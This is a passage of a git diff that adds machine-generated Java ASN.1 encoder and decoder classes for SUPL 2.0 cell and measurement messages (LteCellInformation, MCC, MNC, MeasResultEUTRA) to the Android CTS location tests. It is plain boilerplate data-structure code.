+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class LteCellInformation extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_LteCellInformation
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public LteCellInformation() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_LteCellInformation;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_LteCellInformation != null) {
+ return ImmutableList.of(TAG_LteCellInformation);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new LteCellInformation from encoded stream.
+ */
+ public static LteCellInformation fromPerUnaligned(byte[] encodedBytes) {
+ LteCellInformation result = new LteCellInformation();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new LteCellInformation from encoded stream.
+ */
+ public static LteCellInformation fromPerAligned(byte[] encodedBytes) {
+ LteCellInformation result = new LteCellInformation();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private CellGlobalIdEUTRA cellGlobalIdEUTRA_;
+ public CellGlobalIdEUTRA getCellGlobalIdEUTRA() {
+ return cellGlobalIdEUTRA_;
+ }
+ /**
+ * @throws ClassCastException if value is not a CellGlobalIdEUTRA
+ */
+ public void setCellGlobalIdEUTRA(Asn1Object value) {
+ this.cellGlobalIdEUTRA_ = (CellGlobalIdEUTRA) value;
+ }
+ public CellGlobalIdEUTRA setCellGlobalIdEUTRAToNewInstance() {
+ cellGlobalIdEUTRA_ = new CellGlobalIdEUTRA();
+ return cellGlobalIdEUTRA_;
+ }
+
+ private PhysCellId physCellId_;
+ public PhysCellId getPhysCellId() {
+ return physCellId_;
+ }
+ /**
+ * @throws ClassCastException if value is not a PhysCellId
+ */
+ public void setPhysCellId(Asn1Object value) {
+ this.physCellId_ = (PhysCellId) value;
+ }
+ public PhysCellId setPhysCellIdToNewInstance() {
+ physCellId_ = new PhysCellId();
+ return physCellId_;
+ }
+
+ private TrackingAreaCode trackingAreaCode_;
+ public TrackingAreaCode getTrackingAreaCode() {
+ return trackingAreaCode_;
+ }
+ /**
+ * @throws ClassCastException if value is not a TrackingAreaCode
+ */
+ public void setTrackingAreaCode(Asn1Object value) {
+ this.trackingAreaCode_ = (TrackingAreaCode) value;
+ }
+ public TrackingAreaCode setTrackingAreaCodeToNewInstance() {
+ trackingAreaCode_ = new TrackingAreaCode();
+ return trackingAreaCode_;
+ }
+
+ private RSRP_Range rsrpResult_;
+ public RSRP_Range getRsrpResult() {
+ return rsrpResult_;
+ }
+ /**
+ * @throws ClassCastException if value is not a RSRP_Range
+ */
+ public void setRsrpResult(Asn1Object value) {
+ this.rsrpResult_ = (RSRP_Range) value;
+ }
+ public RSRP_Range setRsrpResultToNewInstance() {
+ rsrpResult_ = new RSRP_Range();
+ return rsrpResult_;
+ }
+
+ private RSRQ_Range rsrqResult_;
+ public RSRQ_Range getRsrqResult() {
+ return rsrqResult_;
+ }
+ /**
+ * @throws ClassCastException if value is not a RSRQ_Range
+ */
+ public void setRsrqResult(Asn1Object value) {
+ this.rsrqResult_ = (RSRQ_Range) value;
+ }
+ public RSRQ_Range setRsrqResultToNewInstance() {
+ rsrqResult_ = new RSRQ_Range();
+ return rsrqResult_;
+ }
+
+ private LteCellInformation.tAType tA_;
+ public LteCellInformation.tAType getTA() {
+ return tA_;
+ }
+ /**
+ * @throws ClassCastException if value is not a LteCellInformation.tAType
+ */
+ public void setTA(Asn1Object value) {
+ this.tA_ = (LteCellInformation.tAType) value;
+ }
+ public LteCellInformation.tAType setTAToNewInstance() {
+ tA_ = new LteCellInformation.tAType();
+ return tA_;
+ }
+
+ private MeasResultListEUTRA measResultListEUTRA_;
+ public MeasResultListEUTRA getMeasResultListEUTRA() {
+ return measResultListEUTRA_;
+ }
+ /**
+ * @throws ClassCastException if value is not a MeasResultListEUTRA
+ */
+ public void setMeasResultListEUTRA(Asn1Object value) {
+ this.measResultListEUTRA_ = (MeasResultListEUTRA) value;
+ }
+ public MeasResultListEUTRA setMeasResultListEUTRAToNewInstance() {
+ measResultListEUTRA_ = new MeasResultListEUTRA();
+ return measResultListEUTRA_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getCellGlobalIdEUTRA() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCellGlobalIdEUTRA();
+ }
+
+ @Override public void setToNewInstance() {
+ setCellGlobalIdEUTRAToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? CellGlobalIdEUTRA.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "cellGlobalIdEUTRA : "
+ + getCellGlobalIdEUTRA().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getPhysCellId() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getPhysCellId();
+ }
+
+ @Override public void setToNewInstance() {
+ setPhysCellIdToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? PhysCellId.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "physCellId : "
+ + getPhysCellId().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getTrackingAreaCode() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getTrackingAreaCode();
+ }
+
+ @Override public void setToNewInstance() {
+ setTrackingAreaCodeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? TrackingAreaCode.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "trackingAreaCode : "
+ + getTrackingAreaCode().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getRsrpResult() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRsrpResult();
+ }
+
+ @Override public void setToNewInstance() {
+ setRsrpResultToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? RSRP_Range.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "rsrpResult : "
+ + getRsrpResult().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getRsrqResult() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRsrqResult();
+ }
+
+ @Override public void setToNewInstance() {
+ setRsrqResultToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? RSRQ_Range.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "rsrqResult : "
+ + getRsrqResult().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getTA() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getTA();
+ }
+
+ @Override public void setToNewInstance() {
+ setTAToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? LteCellInformation.tAType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "tA : "
+ + getTA().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 6);
+
+ @Override public boolean isExplicitlySet() {
+ return getMeasResultListEUTRA() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMeasResultListEUTRA();
+ }
+
+ @Override public void setToNewInstance() {
+ setMeasResultListEUTRAToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? MeasResultListEUTRA.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "measResultListEUTRA : "
+ + getMeasResultListEUTRA().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class tAType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_tAType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public tAType() {
+ super();
+ setValueRange("0", "1282");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_tAType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_tAType != null) {
+ return ImmutableList.of(TAG_tAType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new tAType from encoded stream.
+ */
+ public static tAType fromPerUnaligned(byte[] encodedBytes) {
+ tAType result = new tAType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new tAType from encoded stream.
+ */
+ public static tAType fromPerAligned(byte[] encodedBytes) {
+ tAType result = new tAType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "tAType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("LteCellInformation = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/MCC.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/MCC.java
new file mode 100755
index 0000000..a7d3d78
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/MCC.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class MCC
+ extends Asn1SequenceOf<MCC_MNC_Digit> {
+ //
+
+ private static final Asn1Tag TAG_MCC
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public MCC() {
+ super();
+ setMinSize(3);
+setMaxSize(3);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_MCC;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_MCC != null) {
+ return ImmutableList.of(TAG_MCC);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new MCC from encoded stream.
+ */
+ public static MCC fromPerUnaligned(byte[] encodedBytes) {
+ MCC result = new MCC();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new MCC from encoded stream.
+ */
+ public static MCC fromPerAligned(byte[] encodedBytes) {
+ MCC result = new MCC();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public MCC_MNC_Digit createAndAddValue() {
+ MCC_MNC_Digit value = new MCC_MNC_Digit();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("MCC = [\n");
+ final String internalIndent = indent + " ";
+ for (MCC_MNC_Digit value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/MCC_MNC_Digit.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/MCC_MNC_Digit.java
new file mode 100755
index 0000000..c67827b
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/MCC_MNC_Digit.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class MCC_MNC_Digit extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_MCC_MNC_Digit
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public MCC_MNC_Digit() {
+ super();
+ setValueRange("0", "9");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_MCC_MNC_Digit;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_MCC_MNC_Digit != null) {
+ return ImmutableList.of(TAG_MCC_MNC_Digit);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new MCC_MNC_Digit from encoded stream.
+ */
+ public static MCC_MNC_Digit fromPerUnaligned(byte[] encodedBytes) {
+ MCC_MNC_Digit result = new MCC_MNC_Digit();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new MCC_MNC_Digit from encoded stream.
+ */
+ public static MCC_MNC_Digit fromPerAligned(byte[] encodedBytes) {
+ MCC_MNC_Digit result = new MCC_MNC_Digit();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "MCC_MNC_Digit = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/MNC.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/MNC.java
new file mode 100755
index 0000000..ed2edd4
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/MNC.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class MNC
+ extends Asn1SequenceOf<MCC_MNC_Digit> {
+ //
+
+ private static final Asn1Tag TAG_MNC
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public MNC() {
+ super();
+ setMinSize(2);
+setMaxSize(3);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_MNC;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_MNC != null) {
+ return ImmutableList.of(TAG_MNC);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new MNC from encoded stream.
+ */
+ public static MNC fromPerUnaligned(byte[] encodedBytes) {
+ MNC result = new MNC();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new MNC from encoded stream.
+ */
+ public static MNC fromPerAligned(byte[] encodedBytes) {
+ MNC result = new MNC();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public MCC_MNC_Digit createAndAddValue() {
+ MCC_MNC_Digit value = new MCC_MNC_Digit();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("MNC = [\n");
+ final String internalIndent = indent + " ";
+ for (MCC_MNC_Digit value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/MeasResultEUTRA.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/MeasResultEUTRA.java
new file mode 100755
index 0000000..7048f54
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/MeasResultEUTRA.java
@@ -0,0 +1,852 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class MeasResultEUTRA extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_MeasResultEUTRA
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public MeasResultEUTRA() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_MeasResultEUTRA;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_MeasResultEUTRA != null) {
+ return ImmutableList.of(TAG_MeasResultEUTRA);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new MeasResultEUTRA from encoded stream.
+ */
+ public static MeasResultEUTRA fromPerUnaligned(byte[] encodedBytes) {
+ MeasResultEUTRA result = new MeasResultEUTRA();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new MeasResultEUTRA from encoded stream.
+ */
+ public static MeasResultEUTRA fromPerAligned(byte[] encodedBytes) {
+ MeasResultEUTRA result = new MeasResultEUTRA();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private PhysCellId physCellId_;
+ public PhysCellId getPhysCellId() {
+ return physCellId_;
+ }
+ /**
+ * @throws ClassCastException if value is not a PhysCellId
+ */
+ public void setPhysCellId(Asn1Object value) {
+ this.physCellId_ = (PhysCellId) value;
+ }
+ public PhysCellId setPhysCellIdToNewInstance() {
+ physCellId_ = new PhysCellId();
+ return physCellId_;
+ }
+
+ private MeasResultEUTRA.cgi_InfoType cgi_Info_;
+ public MeasResultEUTRA.cgi_InfoType getCgi_Info() {
+ return cgi_Info_;
+ }
+ /**
+ * @throws ClassCastException if value is not a MeasResultEUTRA.cgi_InfoType
+ */
+ public void setCgi_Info(Asn1Object value) {
+ this.cgi_Info_ = (MeasResultEUTRA.cgi_InfoType) value;
+ }
+ public MeasResultEUTRA.cgi_InfoType setCgi_InfoToNewInstance() {
+ cgi_Info_ = new MeasResultEUTRA.cgi_InfoType();
+ return cgi_Info_;
+ }
+
+ private MeasResultEUTRA.measResultType measResult_;
+ public MeasResultEUTRA.measResultType getMeasResult() {
+ return measResult_;
+ }
+ /**
+ * @throws ClassCastException if value is not a MeasResultEUTRA.measResultType
+ */
+ public void setMeasResult(Asn1Object value) {
+ this.measResult_ = (MeasResultEUTRA.measResultType) value;
+ }
+ public MeasResultEUTRA.measResultType setMeasResultToNewInstance() {
+ measResult_ = new MeasResultEUTRA.measResultType();
+ return measResult_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getPhysCellId() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getPhysCellId();
+ }
+
+ @Override public void setToNewInstance() {
+ setPhysCellIdToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? PhysCellId.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "physCellId : "
+ + getPhysCellId().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getCgi_Info() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
